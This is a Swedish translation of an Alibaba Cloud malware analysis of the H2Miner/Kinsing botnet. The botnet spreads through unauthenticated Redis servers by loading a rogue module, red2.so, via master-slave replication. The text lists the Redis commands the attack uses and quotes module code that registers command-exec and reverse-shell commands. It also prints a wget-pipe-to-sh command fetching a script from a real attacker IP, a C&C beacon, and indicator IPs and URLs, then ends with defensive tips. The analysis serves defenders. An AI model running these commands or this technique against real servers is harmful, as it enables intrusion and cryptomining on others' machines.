För en dag sedan blev en av servrarna i mitt projekt attackerad av en liknande mask. I min strÀvan att förstÄ "vad var detta egentligen?" stötte jag pÄ en fantastisk artikel frÄn Alibaba Cloud Security. Eftersom jag inte hittade denna artikel pÄ Habr, bestÀmde jag mig för att översÀtta den sÀrskilt för er <3
Inledning
Nyligen upptÀckte Alibaba Clouds sÀkerhetsteam en plötslig utbrott av H2Miner. Denna typ av skadlig mask utnyttjar avsaknaden av autentisering eller svaga lösenord för Redis som ingÄngar till dina system, och synkroniserar dÀrefter sin egen skadliga modul med en slav genom master-slave synkronisering och laddar slutligen upp denna skadliga modul pÄ den attackerade maskinen för att utföra skadliga instruktioner.
Tidigare genomfördes attacker mot dina system frÀmst genom metoder som involverade schemalagda uppgifter eller SSH-nycklar som installerades pÄ din maskin efter att angriparen loggat in pÄ Redis. Lyckligtvis kan denna metod inte anvÀndas ofta pÄ grund av problem med behörighetskontroll eller pÄ grund av olika versioner av systemet. Trots det kan denna metod för uppladdning av skadlig modul direkt utföra angriparens kommandon eller fÄ tillgÄng till en shell, vilket Àr farligt för ditt system.
PÄ grund av det stora antalet servrar Redis som Àr placerade pÄ internet (nÀstan 1 miljon), rekommenderar Alibaba Clouds sÀkerhetsteam, som en vÀnlig pÄminnelse, att anvÀndare inte ger Ätkomst till Redis frÄn nÀtverket och regelbundet kontrollerar sÀkerheten i sina lösenord och om de Àr utsatta för snabb gissning.
H2Miner
H2Miner Àr ett botnÀt för gruvdrift för system baserade pÄ Linux, som kan infiltrera ditt system pÄ olika sÀtt, inklusive avsaknad av autentisering i Hadoop yarn, Docker, och sÄrbarhet för fjÀrrkommandon i Redis (RCE). BotnÀtet fungerar genom att ladda ner skadliga skript och malware för att bryta dina data, expandera attacken horisontellt, och upprÀtthÄlla en kommandokontroll (C&C) kommunikation.
Redis RCE
Kunskaper om detta Àmne delades av Pavel Toporkov pÄ ZeroNights 2018. Efter version 4.0 stödjer Redis funktionen för att ladda externa moduler, vilket ger anvÀndare möjlighet att ladda .so-filer, kompilerade med C, i Redis för att utföra specifika Redis-kommandon. Denna funktion Àr visserligen anvÀndbar, men innehÄller en sÄrbarhet dÀr filer kan synkroniseras med slaven i master-slave-lÀget via fullresync-lÀget. Detta kan utnyttjas av en angripare för att överföra skadliga .so-filer. Efter att överföringen Àr klar laddar angriparna modulen pÄ den attackerade Redis-instansen och utför valfritt kommando.
Analys av den skadliga masken
Nyligen upptÀckte Alibaba Clouds sÀkerhetsteam att storleken pÄ gruppen av skadliga miners H2Miner plötsligt hade ökat. Enligt analysen ser den totala processen för attacken ut som följer:
H2Miner anvÀnder RCE Redis för en fullskalig attack. Först attackerar angriparna oskyddade Redis-servrar eller servrar med svaga lösenord.
DÀrefter anvÀnder de kommandot config set dbfilename red2.so för att Àndra filnamnet. Efter detta utför angriparna kommandot slaveof för att stÀlla in master-slave-replikeringens vÀrdadress.
NÀr den attackerade Redis-instansen upprÀttar en master-slave-anslutning med den skadliga Redis som tillhör angriparen, skickar angriparen den infekterade modulen med kommandot fullresync för att synkronisera filerna. DÀrefter kommer filen red2.so att laddas pÄ den attackerade maskinen. Efter detta anvÀnder angriparna modulen .\/red2.so för att ladda denna .so-fil. Modulen kan utföra angriparens kommandon eller initiera en bakdörr för att fÄ Ätkomst till den attackerade maskinen.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Efter att ha utfört ett skadligt kommando som / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, kommer angriparen att ÄterstÀlla namnet pÄ sÀkerhetskopian och avlasta systemmodulen för att ta bort spÄren. Trots detta kommer filen red2.so fortfarande att finnas kvar pÄ den attackerade maskinen. AnvÀndarna rekommenderas att vara uppmÀrksamma pÄ förekomsten av en sÄdan misstÀnkt fil i mappen för deras Redis-instans.
Utöver att förstöra vissa skadliga processer för att stjÀla resurser följde angriparen ett skadligt manus genom att ladda ner och köra skadliga filer i binÀr form för att . Detta innebÀr att processnamnet eller katalognamnet som innehÄller kinsing pÄ vÀrden kan indikera att denna maskin har infekterats av detta virus.
Enligt resultat frÄn omvÀnd utveckling utför det skadliga programmet huvudsakligen följande funktioner:
- Ladda ner filer och köra dem
- Mining
- UpprÀtthÄlla C&C-kommunikation och utföra angriparens kommandon
AnvÀnd masscan för extern skanning för att utöka pÄverkan. Dessutom Àr IP-adressen till C&C-servern hÄrdkodad i programmet, och den attackerade vÀrden kommer att interagera med C&C-kommunikationsservern via HTTP-förfrÄgningar, dÀr zombiinformation (den hackade servern) identifieras i HTTP-headern.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, liknande Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Ăvriga attackmetoder
Adresser och lÀnkar som masken anvÀnder
/kinsing
âą 142.44.191.122/t.sh
âą 185.92.74.42/h.sh
âą 142.44.191.122/spr.sh
âą 142.44.191.122/spre.sh
âą 195.3.146.118/unk.sh
c&c
âą 45.10.88.102
âą 91.215.169.111
âą 139.99.50.255
âą 46.243.253.167
âą 195.123.220.193
Tips
För det första bör Redis inte vara öppet för internetÄtkomst och bör skyddas med ett starkt lösenord. Det Àr ocksÄ viktigt att kunderna kontrollerar att det inte finns en red2.so-fil i Redis-katalogen och att "kinsing" inte finns i filnamnet/processnamnet pÄ vÀrden.
KĂ€lla: habr.com
